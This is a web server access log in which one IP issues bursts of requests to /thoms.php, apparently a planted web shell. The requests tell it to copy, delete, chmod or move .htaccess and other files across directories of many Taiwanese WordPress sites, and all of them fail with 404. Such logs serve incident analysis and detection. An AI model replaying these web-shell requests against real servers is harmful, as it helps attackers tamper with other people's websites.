45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:47 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=biotaiwan.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=biotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fsession-migration HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fsession-migration" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=beauty-dental.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Frelease-endpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Frelease-endpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=beauty-dental.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /broadweb.com-20260912023716/ HTTP/1.1" 404 14488 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?copy=broadweb.com-20260912023716&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com-20260912023716&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?del=broadweb.com-20260912023716&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=broadweb.com-20260912023716&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:48 -0400] "GET /thoms.php?p=broadweb.com-20260912023716 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com-20260912023716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?chmod=broadweb.com-20260912023716&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=broadweb.com-20260912023716&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fcatalog-build HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fcatalog-build" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw%2Flog-seed HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw%2Flog-seed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bogroup.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=bogroup.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:49 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=booking-wise2.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=bossini.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:50 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:51 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:49:52 -0400] "GET /thoms.php?copy=.htaccess&finish=1&move=1&p=bioway88.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=.htaccess&finish=1&move=1&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
